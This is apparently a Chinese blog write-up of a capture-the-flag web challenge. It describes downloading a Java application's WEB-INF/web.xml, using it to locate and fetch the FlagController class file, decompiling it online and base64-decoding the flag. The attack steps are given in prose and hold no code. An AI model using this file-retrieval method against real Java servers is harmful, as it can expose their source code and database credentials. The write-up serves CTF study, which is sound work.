WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问:

WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

前面说了,要通过web.xml对访问的文件映射才行,所以我们先下载web.xml看看

直接可以用浏览器打开,看看

web.xml用于映射路径(URI)和后端服务程序(servlet)。servlet 是经过编译后,后缀名为.class的文件 Index举例,/Index页面对应的后端程序路径为/WEB-INF/classes/com/wm/ctf/IndexController.class,同理,/flag的对应路径为/WEB-INF/classes/com/wm/ctf/FlagController.class,接下来下载一下文件

该文件是编译后的JAVA程序,所以我们要想查看,还需要对其进行反编译,这里直接浏览器搜索引擎搜索的,在线反编译的网站:

第一个:
http://www.javadecompilers.com/
该站点提供了一个用户界面,用于从.class和.jar'二进制'文件中提取源代码。
第二个:
https://jdec.app/

魔法不可少,然后就可以将反编译后的文件下载打开就可以看到了

字符串flag=”xxx”末尾是双等号,base64,直接解码看看

成功夺旗!

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇